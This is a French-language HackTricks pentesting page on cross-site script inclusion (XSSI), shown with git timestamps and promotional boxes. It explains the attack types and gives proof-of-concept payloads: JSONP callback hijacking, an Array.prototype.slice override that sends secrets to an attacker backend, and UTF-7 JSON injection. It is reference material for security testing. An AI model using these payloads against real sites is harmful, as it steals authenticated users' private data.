hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

115 lines
8.3 KiB
Markdown
Raw Normal View History

# XSSI (Cross-Site Script Inclusion)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
#### Les informations ont été prises de [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
2022-04-28 16:01:33 +00:00
2023-06-03 13:10:46 +00:00
## Informations de base
XSSI désigne un type de vulnérabilité qui exploite le fait que, lorsqu'une **ressource est incluse en utilisant la balise `script`, la SOP ne s'applique pas**, car les scripts doivent pouvoir être inclus de manière trans-domaine. Un attaquant peut donc **tout lire** ce qui a été inclus en utilisant la **balise `script`**.
Cela est particulièrement intéressant lorsqu'il s'agit de JavaScript dynamique ou de JSONP lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Les cookies sont inclus lors de la demande d'une ressource depuis un hôte différent.
### Types
2023-06-03 13:10:46 +00:00
1. JavaScript statique (XSSI régulier)
2. JavaScript statique, qui n'est accessible que lorsqu'on est authentifié
2023-06-03 13:10:46 +00:00
3. JavaScript dynamique
4. Non-JavaScript
2023-06-03 13:10:46 +00:00
## XSSI régulier
Les informations privées se trouvent à l'intérieur d'un fichier JS accessible globalement, vous pouvez simplement détecter cela en lisant des fichiers, en recherchant des mots-clés ou en utilisant des regexps.\
Pour exploiter cela, incluez simplement le script contenant des informations privées à l'intérieur du contenu malveillant :
```markup
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
## Dynamic-JavaScript-based-XSSI et Authenticated-JavaScript-XSSI
**Des informations confidentielles sont ajoutées au script lorsqu'un utilisateur en fait la demande**. Cela peut être facilement découvert en envoyant la requête **avec et sans les cookies**, si **des informations différentes** sont récupérées, alors des informations confidentielles pourraient être contenues. Pour faire cela automatiquement, vous pouvez utiliser l'extension burp : [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
Si l'information réside à l'intérieur d'une variable globale, vous pouvez l'exploiter en utilisant le même code que pour le cas précédent.\
Si les données confidentielles sont envoyées à l'intérieur d'une réponse JSONP, vous pouvez redéfinir la fonction exécutée pour récupérer l'information :
```markup
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
Ou vous pourriez également définir une fonction préparée pour être exécutée par la réponse JSONP :
```markup
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Si une variable ne réside pas dans l'espace de noms global, parfois cela peut être exploité en utilisant le _prototype tampering_. Le prototype tampering abuse de la conception de JavaScript, à savoir que lors de l'interprétation du code, JavaScript parcourt la chaîne de prototypes pour trouver la propriété appelée. L'exemple suivant est extrait du document [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) et démontre comment en surchargeant une fonction pertinente de type `Array` et l'accès à `this`, une variable non globale peut également être divulguée.
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
Dans le code original, `slice` de type `Array` accède aux données qui nous intéressent. Un attaquant peut, comme décrit dans la clause précédente, remplacer `slice` et voler les secrets.
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Chercheur en sécurité [Sebastian Lekies](https://twitter.com/slekies) a récemment mis à jour sa liste de [vecteurs](http://sebastian-lekies.de/leak/).
## Non-Script-XSSI
Takeshi Terada décrit un autre type de XSSI dans son article [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf). Il a réussi à divulguer des fichiers Non-Script en cross-origin en incluant, entre autres, des fichiers CSV comme source dans la balise `script`, en utilisant les données comme noms de variables et de fonctions.
La première attaque XSSI documentée publiquement date de 2006. L'entrée de blog de Jeremiah Grossman [Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) décrit une XSSI, qui, en remplaçant le constructeur `Array`, a pu lire l'intégralité du carnet d'adresses d'un compte google.
En 2007, Joe Walker a publié [JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). Il utilise la même idée pour voler du JSON qui se trouve dans un `Array`.
D'autres attaques connexes ont été menées en injectant du contenu encodé en UTF-7 dans le JSON pour échapper au format JSON. Cela est décrit par Gareth Heyes, auteur de [Hackvertor](https://hackvertor.co.uk/public), dans l'entrée de blog [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) publiée en 2011. Lors d'un test rapide, cela était encore possible dans Microsoft Internet Explorer et Edge, mais pas dans Mozilla Firefox ou Google Chrome.
JSON avec UTF-7 :
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2023-06-03 13:10:46 +00:00
Inclure le JSON dans la page de l'attaquant
```markup
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>